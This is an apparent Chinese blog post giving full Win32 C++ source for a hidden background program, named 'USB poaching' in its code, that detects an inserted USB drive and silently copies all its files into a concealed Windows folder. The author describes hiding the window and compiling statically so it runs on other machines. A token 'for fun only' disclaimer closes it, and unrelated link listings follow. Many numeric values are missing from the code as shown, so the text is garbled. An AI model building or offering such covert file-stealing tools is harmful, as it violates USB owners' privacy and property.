USB助手
自动拷贝U盘的数据---
由于之前学习了win32的编程就想着做一个有趣的东西。想了想准备做一个可以自动复制U盘数据的程序。
对于这个程序的功能首先就是要能够识别U盘是否插入了,这里使用了函数GetLogicalDrives()来进行判断,这个函数会将当前
计算机中的盘符表示出来,然后通过两次的比较来判断U盘是否插入到了计算机中,然后通过copyfile()来全盘复制文件。
为了方便更好的隐藏采用win32编写,但是去掉界面,让程序运行后仅仅在后台进程中可见。
下面是程序的源代码(用VS2017编译):
// USB盗猎.cpp : 定义应用程序的入口点。
// 为了让程序可以被其他电脑直接使用,需要在编译时采用静态编译,vs2017默认的是动态编译
// 在调试中选择属性,然后选择C/C++,选择代码生成,选择多线程调试DLL(/MTD)====>即可实现静态编译 #include "stdafx.h"
#include "USB助手.h"
#include <windows.h>
#include <iostream>
#include <string>
#include <strsafe.h>
#include <tchar.h>
#define MAX_PATH_ME 256
#define SOURCE_PATH TEXT("C:\\Windows\\System\\text1") using namespace std;
void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME]); //遍历U盘下的所有文件 int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPWSTR lpCmdLine,
_In_ int nCmdShow)
{ CreateDirectory(SOURCE_PATH, NULL);
TCHAR szFile[MAX_PATH_ME] = SOURCE_PATH;
TCHAR Path[MAX_PATH_ME] = TEXT("");
TCHAR Drive[] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','S','Y','Z' };
char i = ;
DWORD Drive_Old = GetLogicalDrives();
while ()
{
DWORD Drive_New = GetLogicalDrives();
if (Drive_Old != Drive_New)
{
Drive_New = Drive_New - Drive_Old;
while ()
{
if ((Drive_New & ) != )
break;
Drive_New >>= ;
i++;
}
break;
}
}
Sleep();
Path[] = Drive[i];
Path[] = '\0'; //StringCchCat:在使用时需要path最后一位是‘\0’
StringCchCat(Path, MAX_PATH_ME, TEXT(":"));
Traver_File(Path, szFile);
return ;
} void Traver_File(TCHAR Path[MAX_PATH_ME], TCHAR T_Path[MAX_PATH_ME])
{
WIN32_FIND_DATAW lpFindFileData;
HANDLE hFind = INVALID_HANDLE_VALUE; TCHAR szDir[MAX_PATH_ME];
TCHAR szDir1[MAX_PATH_ME] = TEXT("");
TCHAR szDir2[MAX_PATH_ME] = TEXT("");
TCHAR szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的源地址 TCHAR T_szDir[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir2[MAX_PATH_ME] = TEXT("");
TCHAR T_szDir1[MAX_PATH_ME] = TEXT("");
TCHAR T_szFile[MAX_PATH_ME] = TEXT(""); //把文件拷贝的目的地址 StringCchCopy(T_szDir, MAX_PATH_ME, T_Path);
StringCchCopy(T_szDir2, MAX_PATH_ME, T_szDir); //获取源文件地址的操作
StringCchCopy(szDir, MAX_PATH_ME, Path);
StringCchCopy(szDir2, MAX_PATH_ME, szDir);
StringCchCat(szDir, MAX_PATH_ME, TEXT("\\*"));
hFind = FindFirstFileW(szDir, &lpFindFileData);
do
{
StringCchCopy(szFile, MAX_PATH_ME, szDir2);
StringCchCopy(szDir1, MAX_PATH_ME, szDir2); StringCchCopy(T_szFile, MAX_PATH_ME, T_szDir);
StringCchCopy(T_szDir1, MAX_PATH_ME, T_szDir2); if (lpFindFileData.cFileName[] == '.')
{
continue;
}
else if (lpFindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
StringCchCat(szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szDir1, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szDir1, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szDir1, MAX_PATH_ME, lpFindFileData.cFileName); CreateDirectory(T_szDir1, NULL);
Traver_File(szDir1, T_szDir1);
}
else
{
StringCchCat(szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(szFile, MAX_PATH_ME, lpFindFileData.cFileName); StringCchCat(T_szFile, MAX_PATH_ME, TEXT("\\"));
StringCchCat(T_szFile, MAX_PATH_ME, lpFindFileData.cFileName); CopyFile(szFile, T_szFile, false);
StringCchCopy(szFile, MAX_PATH_ME, TEXT(""));
StringCchCopy(T_szFile, MAX_PATH_ME, TEXT("")); }
} while (FindNextFileW(hFind, &lpFindFileData) != );
}
————本程序只可自己玩,不可另做它用!!!
USB助手的更多相关文章
- 杭州蓝松科技推出的安卓端的USB转串口调试助手, 欢迎下载使用
杭州蓝松科技推出的安卓端的USB转串口调试助手, 欢迎下载使用 下载地址:http://files.cnblogs.com/guobaPlayer/%E8%93%9D%E6%9D%BEUSB%E4%B ...
- C# EPL USB 指令打印
private void btnPrinter_Click(object sender, EventArgs e) { #region ESC 热敏图像点阵像素点读取打印 //Bitmap bitma ...
- C#调用斑马打印机打印条码标签(支持COM、LPT、USB、TCP连接方式和ZPL、EPL、CPCL指令)【转】
原文地址:http://blog.csdn.net/ldljlq/article/details/7338772 在批量打印商品标签时一般都要加上条码或图片,而这类应用大多是使用斑马打印机,所以我也遇 ...
- Android开发--使用真机进行USB调试程序
在android小程序的开发过程中,使用eclipse中的虚拟机进行程序开发速度较慢,用真机开发可以显著提高调试的速度. 这里我用的操作系统是win7专业版,手机型号HM1S: 进行USB调试的主要步 ...
- 解决魅族USB调试无法被电脑识别的问题(含Mac OS X、Win7)
每次打开豌豆荚或者360手机助手之类手机助手后Eclipse才会检测到mx4(实际上是豌豆荚关闭eclipse的adb使用自己的驱动连接的).解决方法就是在"adb_usb.ini&qu ...
- 单片机usb转串口的时灵时不灵的解答
写这篇博客,首先检讨一下自己,因为以前串口的程序,也和步进电机一样,时灵时不灵,我现在终于知道这是为什么了,因为51上有三个串口,一个公口,一个母口,一个usb转串口,这样的话,串口有3个了,我手头上 ...
- Bdsyn百度手机助手是何物,它是怎样神不知鬼不觉地安装到你的电脑里的?
[电脑软件管理中Bdsyn手机助手的问题]Bdsyn手机助手 is developed by Baidu, Inc. and is used by 10 users of Software Infor ...
- ARM-LINUX学习笔记-(虚拟机linux串口终端以及USB程序下载,基于TQ2440)
昨天安装了ssh服务之后今天在windows上用xshell登陆发现登录不上,原因是使用了virtualbox的NAT模式,在NAT模式下,客户机可以很方便地上网,但是想要链接宿主机就需要打开网络地址 ...
- Windows 10 IoT Serials 4 - 如何在树莓派上使用Cortana语音助手
从Windows 10 IoT Core 14986版本开始,微软已经加入Cortana语音助手功能.之前,我们只能使用本地语音识别,需要编写应用程序,下载到设备中才能实现.从现在开始,微软已经从系统 ...
随机推荐
- 沉淀再出发:Tomcat的实现原理
沉淀再出发:Tomcat的实现原理 一.前言 在我们接触java之后,相信大家都编写过服务器程序,这个时候就需要用到Tomcat了.Tomcat 服务器是一个开源的轻量级Web应用服务器,在中小型系统 ...
- Python 处理脚本的命令行参数(三):使用argparse
# coding:utf-8 # 测试argparse模块的基本用法 import argparse # 创建参数解析对象,并添加脚本用法帮助 parser = argparse.ArgumentPa ...
- Scala高阶函数
1.作为参数的函数 函数可以作为一个参数传入到一个方法当中去 def main(args: Array[String]): Unit = { val myFunc1 =(x:Int) =>{ x ...
- 关于$.fn.scrollPath is not a function
关于$.fn.scrollPath is not a function 在做项目过程中,用到了一个jQuery的滚动路径插件——jQuery Scroll Path.引入相关的js文件后,但是控制台一 ...
- vue-cli + webpack自动生成项目
# 全局安装 vue-cli $ npm install --global vue-cli # 创建一个基于 webpack 模板的新项目 $ vue init webpack palanWebsit ...
- 我的第一个 Servlet
简单记录一下我从头写一个 Servlet 的过程. 我安装的是 Tomcat 7 版本,在 Ubuntu 18.04 上运行,IDE 为 Intellij IDEA. 首先创建一个 Java Web ...
- html转canvas html2canvas.js
$("#btn-html2canvas").on("click",function(){//btn-html2canvas为按钮 //content-main为 ...
- PhoneGap检测设备网络连接情况
一.网络连接状态列表 Phonegap 网络连接通过 navigator.network.connection.type 来获取,一般有一下几种状态 1. Connection.UNKNOWN ...
- angularJs的工具方法2
一.angular.isArray 判断是否是数组 var a = []; console.log(angular.isArray(a)); //判断参数里面的是否是数组 二.angular. ...
- 关于C++学习笔记
以清华大学出版社<C++语言程序设计> 第四版,郑莉,董渊,何江舟 三位老师编著为蓝本. 写这学习笔记,是为了自己清晰梳理C++.重粘代码也是为了方便更容易认清结构.